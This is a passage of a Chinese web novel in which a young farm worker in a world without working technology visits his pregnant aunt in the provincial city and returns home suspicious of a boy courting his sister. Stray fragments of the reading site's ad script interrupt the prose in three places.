贺隽夏回到房间把现在的情况告诉洪国兵,洪国兵也有点懵,两人商量了一下决定先见见酒店推荐的带路公司再做决定。 贺隽夏还特意把吕杭墨叫了过来,好狐假虎威,让人知道他们不是可以随便坑的外来客。 前台小妹看见身穿军装的吕杭墨时惊了惊讶,但没多说什么,把他们带去一楼走廊尽头的一个房间。 这件房间的门上贴着一张纸,纸上写着安全带路公司。 还真是经营范围明确。 前台小妹敲了敲门,几秒后门被人推开,一个笑意盈盈的女人道:“快请进。” 房间不大,被装扮成会客厅的样子,里面除了开门的女人还有个年纪不大的男生。 他们刚一坐下,男生就倒了三杯热茶送上来。 贺隽夏接过茶说明自己的来意,女人脸上的笑意更甚,热情地向他们介绍几种方案。 贺隽夏听她介绍才知道这个名字简单的带路公司并不简单,安心酒店只是据点之一,整个省城都有他们的办公点。 难怪女人敢放言说能带他们去省城的任何一个地方。 最后贺隽夏花了50,洪国兵花了20,各自买了一份带路套餐。收费模式是先付一半的定金,到达目的地后再付尾款,还算合理,就是价格是真的贵,贵到贺隽夏肉疼。 五十块可是他半个多月的工资。 但也没办法,省城太大,光靠问路问过去不知道得花多长时间,还有走错路的可能。他们也没有那么多时间耽搁,明天早上就要跟着送粮队离开。 好在贵有贵的道理。 贺隽夏只需要坐在自行车后座上,静静地享受迎面带来的凉风。 他问蹬车的年轻人:“你以前是做什么的?” 年轻小伙:“给人送货的” 贺隽夏好奇道:“现在你一趟能赚多少钱?” 年轻小伙用搭在脖子上的毛巾擦了擦脸上的汗,笑着回答道:“具体要看骑几个站点,比如我现在送你到新达菜市场站点,要骑两个站点,能赚两块钱。” 贺隽夏又问:“从这里到新达菜市场大约要多久?” 年轻小哥喘着气回答:“差不多一个半小时。” 贺隽夏微微叹气,没有再提问影响对方。 当然,他并不心疼年轻小哥,毕竟农场的活也不轻松,他一个月工资80,算下来一天三块都没有。 贺隽夏只是感慨这场灾难改变了太多,原有的社会运行规则被打破,每个人都不得不为了活下去拼命奔波,也不知道贺成凤怎么样了。 虽然贺成凤的丈夫是个有点小钱的老板,名下有三家火锅店,但今时不同往日,没了新鲜食材供给,无法使用电力的火锅店纯属鸡肋。 一个半小时后,自行车在新达菜市场里的一个门店停下,一群等待着被派单的小哥看见他就像看见了美味羊肉的饿狼。 贺隽夏拿出包里的订购单,接替骑车的新小哥在订购单上签下自己的名字,两人换了辆自行车继续行驶。 一共换了三位骑车小哥,东升的太阳开始西落,贺隽夏终于来到记忆里的幸福小区。他下车跳了几步活动双腿,坐得太久,屁股都坐痛了。 贺隽夏背着背包,推着行李箱,脑海里思索着等下与贺成凤的相处方式,慢悠悠地往小区里走去。 “小夏哥哥!” 一声惊讶又惊喜的童音在耳边响起,贺隽夏从思绪中回过神,就看见一个小炮弹兴奋地朝自己冲来。 小胖墩抱住贺隽夏的大腿,高兴道:“小夏哥哥,你怎么来了。” 贺隽夏低头看着这个比记忆里瘦了一圈的小胖墩,伸手揉了揉他的脸:“我来看看你们。” 他从口袋里摸出两块夹心巧克力递给小孩,小胖墩看着递过来的巧克力,兴奋地撕开包装塞进嘴里嚼吧嚼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吧,露出享受的神情。 贺隽夏抬头看向跟在小胖墩后匆匆赶来的老人:“张爷爷。” 老人擦了擦脸上的老花镜,定睛一看,愕然道:“是小夏啊,你怎么来了?” 贺隽夏笑道:“我来看看我姑。” 老人隐晦地打量了他一番,青年的脸色不是很好,鞋子沾满泥巴,衣服裤子也皱巴巴的,手里还提着个大行李箱,不像来看人,倒像是来投奔的。 老人的心思转过几圈,勉强笑道:“小贺也总是念叨你们呢。” 他叹了口气又道:“你说现在日子咋个过啊,钱、钱挣不到,吃的喝的全都翻倍地涨,没柴火烧水做饭只能去社区买,一碗饭就要3毛钱,饭都吃不起了,我们家里五个人,就舍得买三碗饭。” 贺隽夏听懂了老人话里的意思。 来看人当然欢迎,但是要长久住下来不行,家里实在没有余粮多养一个人。 贺隽夏并不生气,也不觉得自己被侮辱。 他们本来就是两家人,只是有贺成凤作为纽带把两家人连了起来。而且贺成凤怀孕,两个老人年迈,孩子年幼,张家现在只有张城林一个劳动力,生活已经很困难了。 谁家父母都不希望自己儿子身上再多个担子。 贺隽夏肉疼道:“嗐,我跟着县里的送粮队来省城,结果送粮队停在陌司区,我找不到来幸福小区的路,只能花五十块钱找个带路公司,贵死了。” 这番话既是真心实意的抱怨,也是在告诉张爷爷,他不差钱。 张爷爷惊讶:“五十块,这么贵?!” 贺隽夏点点头:“是啊,我半个多月的工资就花没了。” 张爷爷的笑容多了几分真切:“你做什么工作的?” 贺隽夏笑:“政府征收了咱们村的土地,建了个农场,给村里人都在农场里安排了工作,我、我爸、我妈都有工作,可惜小秋没成年,分不了工作。” 张爷爷热情道:“太好了,这下成凤肯定放心了,不然她总担心你们吃不好睡不好。” 两个人边说边上楼,小胖墩甩下小伙伴跟在他们屁股后面,嘴巴里还回味着巧克力的味道。 张爷爷掏出钥匙打开门:“成凤,你看谁来了?” 屋子里埋头做针线活的女人疑惑地抬起头,在看见来人的那一刻,眼眶唰地红了,不可置信道:“小夏,你,你怎么来了。” 贺隽夏的眼眶也红了。 他本来以为自己对只存在于记忆里的贺成凤没多少感情,可在看见她的那一刻,无数回忆瞬间涌上心头,他不是他,他成了“贺隽夏”。 看着她比记忆里沧桑了许多的面容,贺隽夏只觉得心脏被一只大手揪住,疼得厉害。 他几乎是迫不及待地冲上前,像献宝一样把行李箱和背包打开,露出里面满满当当的物品。 他说:“姑,我来看你了。” 23.第 23 章 贺成凤泣不成声。 这就是她的家人啊,无论什么时候都惦记着她。 贺隽夏上前想要抱抱她,就像她小时候哄自己那样。只是他刚一伸出手就停下了动作,他手上有些脏。 “妈妈,你怎么哭了?” 小胖墩跑过来拉住贺成凤的手:“妈妈别哭,谁欺负你了,我是超级战士,我会保护你和妹妹。” 贺成凤擦着眼泪说:“妈妈没事,妈妈就是太高兴了。” 小胖墩疑惑:“可是妈妈你在哭。” 贺成凤被他的童言童语逗得破涕为笑:“高兴的哭不算哭。” 小胖墩被绕晕了。 另一旁的张爷爷终于从一大堆东西中回过神,笑着把小胖墩拉走:“宸宸乖,别打扰妈妈和小夏哥哥说话,你早上还不是闹着要和东东玩吗,走,我们下楼去。” 张智宸觉得爷爷有点傻。 他反驳道:“我刚才已经和东东玩过了,我不想下去玩,我要留在家里。” 小胖墩说话时眼神不时瞥向行李箱里的巧克力和水果罐头,眼里写着赤裸裸的两个字——想吃。 贺隽夏爱屋及乌,对小胖墩也充满了好感,注意到他的视线后,马上取了一把巧克力递给他。 面对近在咫尺的巧克力,小胖墩咽了咽口水却没有接过,而是用乞求的目光看向贺成凤。 贺成凤摸了摸孩子的头发:“拿着和爷爷下去玩吧。” 小胖墩欢呼一声:“谢谢妈妈,谢谢小夏哥哥。” 得了巧克力的小胖墩被爷爷牵着下了楼,偌大的客厅里只剩下贺隽夏和贺成凤两人。 贺成凤看着面前的高大青年,伸手拂去他肩膀上的灰尘,声音里带着心疼:“瘦了,也黑了。” “姑,我都有肌肉了,哪里瘦。”贺隽夏做出健美先生的标准姿势:“黑一点才帅呢。” 贺成凤心里的酸涩情绪瞬间被他的搞怪动作弄没了,她没好气地拍了下贺隽夏的手:“坐坐坐,快跟我说说家里情况咋样了?” 贺隽夏看了看干净的沙发,又看了看自己沾满灰尘的裤子,想找个东西垫在屁股下面,别把沙发弄脏了。 贺成凤见他不坐直接上手拉:“沙发套子几百年没洗了,本来就脏,也不差你一个。” 贺隽夏不敢和孕妇较劲,只好顺着她的力道先坐下,笑道:“家里一切都好,政府在贺家村弄了个农场,我和爸妈都有工作,吃喝不愁。” 贺成凤露出笑容。 虽然从贺隽夏带来的东西就可以看出,家里的情况应该不错,但到底不如亲耳听见,如今她总算能放心了。 贺成凤放得下心,贺隽夏却放不下心。 他问道:“你呢,你过得怎么样,他们对你好不好,不要骗我,我要听实话。” 贺成凤笑笑:“还行吧。” 贺隽夏对这个敷衍的回答很不满意,贺成凤明明比他记忆里的人影苍老了不少。 贺成凤无奈:“真的还行,我怀着孩子,家里有好吃的好喝的都给我留着,没有谁欺负我。” “我、你姑父和宸宸以前住在18楼的那套房子,没和公婆一起住。现在被迫住在一起,生活习惯不同,难免有些小矛盾,但都是小事,互相体谅一下就过去了。” 贺隽夏:“可是……”你看起来并不开心。 贺成凤明白他话里未尽的意思,伸手摸了摸脸:“我是不是看起来老了很多? ” 贺隽夏连忙摇头:“没有没有,您还是一如既往地美丽漂亮,是大名鼎鼎的村里一枝花。” 贺成凤笑:“就你会说话。” “好了,别担心我,只要有你们、有你姑父在,就没有人能欺负我,我好着呢。” 贺成凤最近确实和婆婆有点小矛盾,或者说这个矛盾早已埋下,只是最近家里情况不太好,才渐渐显露出来。 ——她婆婆一开始就看不上她的家庭情况,只是她老公态度坚定,非她不娶,她又在市第三医院当医生,才捏着鼻子同意了他们婚事。 婚后她和老公住在新房,没和婆婆住一起,她还要去医院上班,两个人见面相处的时间不多,也就相安无事。后来她生了孩子,两位老人心里欢喜,也渐渐接纳了她。 本以为日子会这样顺风顺水地过下去,没成想磁场出了问题,人类科技全方面失效,火锅店开不下去了,医院也养不起太多员工,她被无薪停职,国家又推出新货币,家里的经济情况瞬间一落三丈。 贫贱夫妻百事哀。 这句话放在夫妻上适用,放在一个大家庭上也适用。家里就她老公能出去赚钱,一个人要养五张嘴,担子很重,生活处处受限制。 日子不好过,大家情绪也不好。她婆婆知道哪家儿媳娘家帮女婿找了工作,哪家儿媳娘家有钱有势就忍不住暗暗刺她几句。 贺成凤懒得和她吵。 一来,老公在外面辛辛苦苦地工作,她不想他回来还要面对家庭大战; 二来,婆婆即使不怎么喜欢她,出于对孩子的顾虑也不敢磋磨她。不仅自己把家里家外的杂活一把抓,好东西也紧着她吃。 贺成凤对她是真没啥大意见。 被刺几句就被刺几句,也不会少块肉,反正她老公孩子帮着她,婆婆说的那几句话还比不上小时候某些村里人说她克父克母,让哥哥嫂嫂把她送出去给人做童养媳。 那才是真恶毒呢。 贺成凤喝了口水问:“对了,你是怎么过来的,家里和省里这么远。” 贺隽夏不是很想回答这个问题,他怕他一说出来贺成凤又要哭了,情绪大起大落对她身体不好。 他转移话题道:“姑,你快看我给你带了好多东西,有你爱吃的鱼干。” 贺成凤怎么会看不出来贺隽夏是在转移话题,但她没有纠缠下去,只是揉了揉眼睛。 火车停了,高铁停了,汽车也停了,除了走过来,还能怎么过来。 贺成凤的眼里止不住地酝出水意,她想顺着贺隽夏的话说下去,只是一开口就再也绷不住情绪,眼泪又唰地流了下来。 贺隽夏眼疾手快地拿出一根炸好的小鱼干塞在她嘴里,贺成凤被香香脆脆的小鱼干堵得没话说,下意识嚼了嚼,心满意足地吞下去。 贺成凤:…… 贺成凤伸手揪住贺隽夏的耳朵:“好啊,胆子肥了是吧?” 自小在农村里见惯了各种场面的贺成凤可不是温柔知心大姐姐,也就是当医生后需要照顾病人的情绪才温声细语起来。 贺隽夏嗷嗷叫唤:“痛痛痛,错了,我错了。” 根本没舍得用力的贺成凤:…… 贺成凤用力扯了扯贺隽夏的耳朵,贺隽夏嘿嘿一笑,从外套的内衬里掏出一叠钱。 “老大,这是小弟的孝敬,求放过。” 贺成凤看着他手里的新版纸币,有零有整,一看就是好不容易攒下来的钱。 贺隽夏见势不对,连忙又塞了个小鱼干过去:“姑,你别哭,哭多了对身体不好。” 贺成凤的泪水被他堵了回去。 贺隽夏宽慰道:“家里不缺吃不缺喝,工资准点发,还有食堂福利,就是担心你过不好,你收了钱,爸妈才能安心。” “咚咚咚” “妈妈,我回来啦。” 屋外响起敲门声和小胖墩叽叽喳喳的声音,贺隽夏把钱塞给贺成凤,让她收好,自己起身开门。 小胖墩身后跟着两位老人,老人手里提着不少东西,贺隽夏连忙侧开身体让出路。 他说道:“张爷爷,向婆婆。” 向婆婆笑得很是和蔼:“小夏看起来壮实了不少啊,还没吃吧,今天买了好多菜,有鸡有鸭,你千万别和我们客气,就当在自己家。” 贺隽夏笑道:“好啊,我有口福了。” 他指着行李箱和背包里的东西道:“您看看这些东西放哪儿,这盒人参片是我爸妈特意让我带给您的,还有那条烟,是给张爷爷的,我爸妈让我一定要送到你们手上。” “我在路上心惊胆战,生怕有人来偷有人来抢,这下我总算可以放心了。” 贺隽夏的一番话说得两位老人心里舒服极了。 虽然他们清楚这些东西不可能是专程送给他们的,但谁不喜欢听好话呢。而且不管给谁,总归是送给他们家的。 向婆婆笑容灿烂:“你说你来就来嘛,还带这么多东西,客气啥子。” 她推了推自家老头子:“你去把饭菜摆上,我来收拾东西。” 红枣、桂圆、人参片、黄芪片、三七粉、西洋参片、土蜂蜜、钙片、维生素、感冒药、炸鱼干、水果罐头、午餐肉罐头、暖水袋、干紫菜、暖宝宝、巧克 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 力、烟、水果糖…… 向婆婆越收拾越惊讶。 这是把家里压箱底的东西都带来了吧,小凤她哥哥嫂嫂可真疼她。 不过这是什么东西? 向婆婆拿着一个小包装问贺隽夏:“小夏,这是什么啊,小小一个?” 贺隽夏笑道:“这是紫菜蛋花汤冻干,就和那罐烘干蔬菜差不多,用开水烫几分钟就是一碗紫菜蛋花汤,那些预制菜也一样,用热水热一热就行。” 向婆婆惊讶:“还真是方便啊,早知道我们也在家里多买点预制菜放着。” 她以前很不喜欢外卖、方便面、预制菜这类方便食品,觉得里面都有添加剂,会影响身体。但是现在肉都成了奢侈品,有吃的就不错了,还管什么添不添加剂。 她记得抖X上的专家说了,抛开剂量谈毒性就是脑子有病,只要合理合法的添加肯定没问题。 可惜世界上没有后悔药。 张爷爷把菜端上桌,荤菜素菜堆了满满一桌子,是真下了血本来招待他。 贺隽夏问:“姑父不回来吃吗?” 提起儿子,向婆婆的表情有些暗淡:“他忙,不用管他,我们先吃。” 贺隽夏明白了。 要在大城市养活一家五口哪有那么容易。 贺隽夏道:“先盛点干净的菜出去,给姑父留着。” 向婆婆笑道:“没事没事,我们吃,他回来了我再给他弄。” 贺隽夏摇头:“那怎么行,姑父工作辛苦,您弄饭菜也辛苦,现在弄了,他回来马上可以吃,您也不用再忙了。” 贺成凤听着贺隽夏和婆婆的交谈,又是欣慰又是心疼。也不知道小夏在外面吃了多少苦,才在人情世故方面进步这么大。 向婆婆推拒不过,每样菜都盛了些放在一个大空碗里,面上的笑容更是真切。 几个人不停地说话聊天,贺隽夏夸贺成凤的老公,两个老人就夸贺成凤,各自心里都舒坦,一直没冷场。 饭吃得差不多了,贺隽夏起身以水代酒:“张爷爷,向婆婆,我一定要敬你们一杯。” “我爸妈在家里担心我姑怀孕了吃不好睡不好,我今天一见到我姑,我就知道他们是白担心了,我姑一看就过得很好。” “我姑说你们真是把她当成亲女儿照顾。她有时候难受发脾气,你们也是哄着她让着她,我这个做侄子的发自内心地感谢你们。” 两个老人被夸得脸都红了。 尤其是向婆婆,她记得自己昨天刺了儿媳妇几句,没想到儿媳妇非但没记在心里,还跟娘家人这么夸她。 向婆婆很不好意思:“哪里哪里,咱们一家人,互相照顾都是应该的。” 贺隽夏微微一笑。 他看得出来贺成凤向自己隐瞒了一些东西,不过今天过后,张家要是再欺负他姑,就别怪他不可客气了。 …… 吃过饭后贺隽夏告辞离开。 他买的套票还在使用时间内,只需要再出8块钱车费,就能坐在自行车上被人送回安心酒店。 不过就算不用走路,贺隽夏回到酒店时也已经很晚了,等在酒店门口的吕杭墨看见他回来可算松了口气。 贺隽夏抱歉:“不好意思,我在我姑家多待了点时间。” 吕杭墨摆摆手:“回来就好,记得早点休息,明天早上就要出发。” 洪国兵和他女儿早就回来了。 洪国兵怕他女儿一个人睡觉不安全,特意开了个新的双人间去那边睡。贺隽夏和两人见了个面,打了盆热水擦拭身体,就躺在床上沉沉地睡去。 第二天 贺隽夏早早地起床跟在送粮队后面,回程的送粮队也不轻松,有任务,要带不少生活用品回去。 大概是前天走了一天,累到了,这回整体的速度慢了不少,大部队中间休息了好几次,整整走了一天一夜才走到县城。 天都亮了。 走到县城后还不能休息,还得走回村里,贺隽夏是推着自行车回去的,他实在没力气了。 贺隽夏眯着眼睛晃晃悠悠地回到贺家村,路过一对说说笑笑的年轻男女时不由得嘲笑自己已经老了。 等等 贺隽夏猛地睁大眼睛倒退后去,脸色逐渐黑了下来,眼睛死死地盯着其中的女生。 “贺!隽!秋!” 24.第 24 章 贺隽夏只是看个热闹,没想到塌的是自家房子。 他面色不善地盯着贺隽秋身旁的年轻男生,配上几天没刮的胡子和凌厉的眼神格外有威慑力。 男生脸上的笑容骤然僵住,甚至忍不住瑟缩了一下,不自然地移过视线,不敢和他对视。 贺隽夏冷哼一声。 作为一个过来人,他清楚青春期的孩子正是对爱情懵懂向往的时候。尤其现在不用读书上学,不能玩手机看电视,谈恋爱就成了打发时间的好乐子。 但就算要谈恋爱,也该谈个好的吧。 贺隽夏自认为自己是一个开明的家长,当初得知表妹谈恋爱时,也只是拉着那小子去拳馆玩了几天,但这不代表他能接受什么阿猫阿狗都往他妹身边凑。 第一次见自家老哥仿佛要吃人的眼神,贺隽秋的心不禁抖了抖,总觉得她哥对罗阳波充满了敌意。 她的目光在两人间来回扫过,小心翼翼道:“哥,你们认识?” 贺隽夏瞪了她一眼,磨了磨牙,压着心里的不满道:“不认识,你跟我回去。” 回去再和你算账。 贺隽秋:??? 莫名被瞪了一眼的贺隽秋想破脑袋也没想通老哥为啥生气,只能把原因归结于她姑可能在省里过得不好,导致老哥心情也不好。 贺隽秋自然不会在外人面前扫哥哥的脸,她乖巧点头道:“哦,好,哥你饿不饿,要不我先跑回去给你热一下饭菜。” 两个人的背影随着少女的温声细语远去,留下来的男生面部僵硬,表情渐渐阴沉下来,眼里闪过几分阴鸷。 …… 两人回到家,两只圆滚滚的小狗屁颠屁颠地迎上前,围着贺隽夏打转,不时往他脚上扑,毛乎乎的小尾巴疯狂地摇摆。 贺隽夏却没心思和它们玩闹。 他问:“那个是谁?” 贺隽秋疑惑:“哪个?” 贺隽夏:“就刚才那个。” 贺隽秋:…… 你就不能说清楚点吗,非要她多问一遍。 “他叫罗阳波,是我同班同学,昨天刚被分到我们村,想借住到我们家。” 贺隽夏:“你同意了?” 贺隽秋连忙摇头摆手:“咋可能,是个女生我还能回来和你们商量一下,他可是个男的,而且他妈……” 贺隽秋露出一言难尽的表情。 贺隽夏脸色一沉:“他妈欺负你了?” 贺隽秋惊讶地啊了一声,不太明白自家老哥的神奇老回路,解释道:“没有,是他妈上个月突然冲到隔壁班打一个女生,还说她不要脸,勾引他儿子,像疯婆子一样。” 贺隽秋恶心地撇撇嘴。 “我们都知道是她儿子主动去追的别人,而且罗阳波就是个怂货,他妈来的时候他躲在教室里屁都不敢放一个。” “还好后面女生的爸妈赶过来把他妈打了一顿,最后是警察把他们带去派出所,听说和解了。” 听完贺隽秋的解释,贺隽夏心里的大石头落了一大半,还有一小部分是对刚才看见的画面的疑惑。 贺隽夏很确信自己没看过,他路过时两个年轻人说说笑笑,看起来关系十分亲近。 他把心里的疑惑问出来,贺隽秋恍然大悟,终于想明白自家老哥的奇怪态度是咋回事儿,瞬间被恶心得不行,又气又委屈。 贺隽秋不高兴:“你妹妹是这么没眼光的人吗,我要喜欢也是喜欢,哎呀,反正不可能是他。” “我本来想在村口接你,他一直缠着我问东问西,搞得我烦死了,什么说说笑笑,我那是出于人情礼貌好不好?!” “好好好,是我错了。” 贺隽夏伏低做小,彻底放心了,他就知道他妹不可能看上那小子。不过那小子心思不纯啊,还想住进他家。 手有点痒,想揍人。 贺隽夏忍不住活动手腕。 贺隽秋把人推进客厅:“你先休息一下,菜很快就热好了。” 贺隽夏左右张望:“爸妈呢?” 贺隽秋用吹筒吹燃灶里的火,从柜子里拿出剩菜剩饭,又舀了勺猪油倒进发热大铁锅,抽空回道:“爸和小谢哥、小张哥被镇上请去帮忙建房子了,妈和桂花婶早上就去县里了,还没回来。” 贺隽夏换了身干净的衣服躺在沙发上,总算能放松下来的身体向大脑发出渴求,他半眯着眼应了几声,又有点想睡觉了。 这几天他完全没休息好,要不是上午再睡一会儿就要多交一天房费,他能一觉睡到晚上。 “哥,吃了饭再睡。” 贺隽秋把一大碗青菜鸡蛋肉丝饭放在桌上,食物的香气战胜了睡意,贺隽夏迷迷糊糊地睁开眼,往嘴里大口大口地刨饭。 这副吃相很粗犷,一点儿也不文雅,放在网上绝对会被众多网友嘲讽妈见打、没教养。 但这里没有网友,只有满目心疼的贺隽秋。 贺隽秋看他不到十分钟就吃完了一大碗饭,担心地问:“哥,你吃饱了吗,要不要我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 再给你弄点。” 贺隽夏摇摇头:“有热水吗,我想洗个澡。” 不怪刚才回村时贺隽秋差点没认出他,看着镜子里映出的狼狈人脸,他也差点儿没认出自己。 他可不想脏兮兮地睡在自己床上。 “有喝的热水,但是不多,不够洗澡,你等一下,我再给你烧一大锅。” 贺隽秋把吃完的碗筷收拾走,刷干净铁锅后开始烧热水,而贺隽夏在等待时又睡了过去,看得贺隽秋都不忍心叫他起来洗澡。 不过洗个澡睡起来肯定更舒服。 贺隽夏翻出家里曾经用来杀年猪现在改成浴盆的大木桶,将一大锅热水倒进去,接着又加了两大锅冷水,直到水温合适。 被热水浸泡的身体得到放松缓解,贺隽夏不禁发出一声舒服的喟叹,希望此刻定格成永远。 然而时间不会为任何人停下。 贺隽夏舒舒服服地洗了个热水澡,换上干净的睡衣倒进充满阳光气息的被褥,整个人沉沉地睡去,一觉睡到了大晚上。 睡够了的身体自然睁开眼,贺隽夏嗅见外面传来的食物香气,理了理乱糟糟的头发,穿上拖鞋走出去。 “小夏醒了,刚刚好,快来吃饭。” 曾秀平笑着招呼贺隽夏,脸上是许久未见的温柔笑容,就像时隔多月终于见到大学生孩子的母亲。 贺隽夏如是想。 他打着哈欠来到客厅,在看见桌上的菜色时猛地睁大眼睛。虽然知道自己回来后,家里肯定会弄一桌丰盛的菜,却没想到有这么奢侈。 没错,就是奢侈。 三荤四素一汤一水果,荤菜分别是炖鸡、红烧肉、清蒸鱼,单拎一项出来就得要花不少钱,更别说是三个大菜。 一家人上桌准备开动,曾秀平似想到什么,转身从厨房拿了个大号的碗出来。 “小吕肯定也辛苦了,还有小张小谢,他们在镇上干了一天活。虽然你是师傅,但咱们不能白拿徒弟孝敬,食堂的大锅菜哪能有自家炒得好。 ” 曾秀平捡了一满碗的荤菜:“你们先吃,我去给他们送过去。” 贺隽秋积极地接过她手里的碗:“哎呀,妈,你坐吧,我去送,我跑得快。” 曾秀平看着女儿一溜烟地跑走,追在后面赶都赶不上,只得嘱咐道:“你小心点儿,别把菜摔了。” 贺隽夏看着贺隽秋消失的背影眯起眼睛。 他总觉得自己忽略了某个地方。 到底是哪儿呢? 25.第 25 章 想不起来就算了。 贺隽夏抛去脑海里的杂念,反正重要的事迟早会想起来,不重要的事想不起来也没关系。 没过多久,贺隽秋臭着脸跑回来,贺隽夏问:“怎么了?” 贺隽秋气道:“那个罗阳波他神经病啊,我和他又有没什么关系,他非要和我一起走,还抢我的碗,我把碗抢回去就搁那说什么你累我帮你拿,搞得路过的桂花婶还以为他是我男朋友。” 贺隽夏表情一冷,捏紧了拳头,潜移默化地转移话题,将自己在省城的所见所闻说出来,得知贺成凤过得还不错,几人总算放心了。 一家人吃完饭,天已经暗了下来。 贺隽夏给两只小狗开了个羊奶肉罐头,听着耳边小狗快乐的舔食声,他抬头看向天空,月亮悄然挂上夜幕,洒下朦胧的白纱,闪烁的星星连成一片浪漫的星海,格外明亮闪耀。 一切仿佛回到了儿时却物是人非。 贺隽夏揉了揉两只吃得正欢的小狗,回到客厅拿出药箱和银针,用点燃的蜡烛给针消毒开始处理脚上的水泡。 大颗大颗的水泡从脚趾蔓延到脚跟,没有多难受,看起来却十分吓人。 曾秀平的眼睛都红了。 贺隽夏看见她发红的眼眶,不合时宜地想到一句话,长嫂如母,贺成凤那么爱哭原来是得到了曾秀平的真传。 当然,这些话他万万不敢说出来,一定会被揍。 贺隽夏挨个挑破水泡上药,没一会就处理好了伤口,根本不给其他人伤心的时间。 贺隽秋露出敬佩的眼神。 她哥,真男人! 但真男人也无法改变睡多了睡不着的现实。 贺隽夏将燃烧的蜡烛倾斜,在书桌上滴下几滴蜡油,而后把蜡烛放上去固定。 就着明明灭灭的昏暗烛火,贺隽夏摸出贺成材上回找出来的老医书边抄边看。 虽然他的记忆力似乎比以前好上不少,不说能做到过目不忘,至少多看几遍就能记住,但好记性不如烂笔头,边抄边记才是最能加深印象的方式。 ——这本医书是正规医书,由人民出版社发行出版,书里介绍了不少操作简单,用料方便的老方子,土方子,忘记一个都是他的损失。 贺隽夏边记边抄、边抄边记,不知不觉间蜡烛矮了一大半,底部固定蜡烛的蜡油却越积越多。 又不知过去多久,蜡烛燃尽,烛火消失,房间彻底陷入黑暗,而后响起轻微的鼾眠。 第二天 贺隽夏销假上工,他的出现引起了村里人的围观,大家伙纷纷询问他省城的情况。 除了不能回答不知道的问题,贺隽夏全部如实相告,听他说完的人们顿时歇了好奇的心思——我滴个乖乖,坐车都要五六十块,抢钱啊。 贺根咂舌:“省城也太恐怖了,就咱们这点工资恐怕住不了几天就得灰溜溜地跑回来。” 呃,倒也不是。 别看其他方面的花销高,省城的食物价格却被压得很低,一斤猪肉只要一块五,比县里还低了五毛。 而且六十块是来回两趟的费用,平均下来一趟三十,好吧,价格还是很贵。谁叫外地人不认识路,又没导航打车,说不定就是一次性生意,不坑你坑谁。 据贺成凤的婆婆说,如果是省城的本地居民坐车,应该能把这一趟的价格压在二十五元以内。 真黑心啊。 贺隽夏默默闭上为省城解释的嘴。 他和贺根说笑着来到今天干活的地点,期间看见了不少他走之前还没来贺家村的新面孔。 他撞了撞贺根的肩膀:“咋回事?” 贺根想起来他才回来还不知道这事,解释道:“养鸡场和养猪场不是建好了吗,负责人调了一批人去养殖场,还开了一批实习期没通过的新人,县里又给派了二十个人下来。” 贺根不太高兴地小声道:“一个个只想着摸鱼偷懒,让他们返工重新干,还觉得我们是在针对他们。” 贺隽夏:“负责人肯定不会让他们打乱农场秩序,不是还有实习期吗,大不了把干活摸鱼偷懒的人淘汰了。” 贺根:“谁知道到时候县里又会派几个关系户过来?” 贺隽夏拍拍他肩膀:“到时候再说吧,对了,那个叫罗阳波的在哪组。” 贺根:“就你爸手底下,他是小秋的同班同学吧,长得还不错,我看他老爱找小秋说话,他们两个有情况。” 贺隽夏冷哼:“金玉在外,败絮其中,我妹才看不上那种货色,她说那小子有事没事缠着她,让她烦得不行。” 贺根笑:“那句话怎么说来着,窈窕淑女,君子好逑,小秋也是大姑娘了。” 贺隽夏冷笑:“要真是个君子,我就不管了,那小子算什么,你回去给嫂子说说,让咱村里的姑娘都离他远点,别被骗了。” 贺隽夏把昨天从贺隽秋那里得知的事说出来,贺根眉毛一皱。 这件事不是什么大事,但透露出的信息足以让有适龄姑娘的人家对罗阳波退避三舍,毕竟谁都不想给自家闺女找个难缠的婆婆。 而且罗阳波在其中扮演的角色也很让人看不起,说好听点是缺少点担当,说难听点就是没种,小事都扛不了还指望他扛大事。 大家都是贺家村人,不知道还好,知道了就绝不能让村里的姑娘跳进火坑。 贺根拍着胸膛道:“你放心,我肯定让我婆娘和那些婶婶好好唠嗑一下。” 贺隽夏笑:“那就谢谢嫂子了。” 他本来不打算这么对付一个刚成年的小男生,对方烦是烦了点,到底没做什么伤天害理的坏事。 也许对方只是来到陌生地方不适应,看见曾经的同班同学想寻求一些帮助,毕竟贺成材是他的顶头上司。 但罗阳波来了没几天就能让贺根觉得贺隽秋和他是一对,还有昨天贺隽秋送菜回来的吐槽,让贺隽夏不得不多想。 他以前的邻居姐姐就是个活生生的例子。 邻居姐姐的父亲是水利局局长,母亲是妇联干部,她是家里的独生女受尽宠爱,自己长得漂亮学习成绩又好,轻轻松松考上985大学,未来生活一片坦途。 然后她看上了个凤凰男,理由是他对我好,是这辈子除了父亲以外对我最好的男人。 然而凤凰男家里穷,长得不咋地,身高也不行,母亲有精神病,靠四个姐姐赚钱供他读大学,连弄个助学贷款,出去做兼职都不愿意。 唯一的优点是和邻居姐姐考上了同一所985。 邻居姐姐的父母想不通,为了让女儿清醒点,给她介绍了好些年少有成又长得不错的男生,从不让凤凰男上门,甚至以死相逼不让她嫁人。 谁知道她表面同意,隔了几个月挺着大肚子回家,死活不去打胎,逼得家里人不嫁也要嫁。 邻居姐姐的父母说没脸见人,放言要和她断绝关系,匆匆卖掉房子就搬走了。 那时贺隽夏才上高中,不太懂成年人间的弯弯绕绕,还是个憧憬爱情的少年,看见邻居姐姐和她老公只觉得美女配野兽,好在野兽对美女还不错,有爱情以后肯定能过得幸福。 他把自己的想法说出来,他爸哈哈一笑,他妈却对邻居姐姐的行为很看不上眼,直言对方就是好日子过多了非得去吃苦,不出三年肯定后悔。 事实上,不到两年,那个漂亮温柔的邻居姐姐就变了个模样,背着个瘦瘦小小的小姑娘卖小吃,身上的衣服皱皱巴巴,看起来比他妈都老几岁。 要不是她老公的小三过来耀武扬威,叫了她的名字,贺隽夏还真没认出她。要知道邻居姐姐当初可是有名的小区一枝花,会跳舞会钢琴会画画,多才多艺人人都夸。 不知是因为他年纪太小,还是因为实在无人倾诉,贺隽夏帮邻居姐姐赶走小三后,她就对着他倾诉了起来。 当年父母答应让她和凤凰男结婚后,就把放在她名下的房子车子全部拿走卖掉了,而且和她断绝了亲缘关系,一年间没有任何联系。 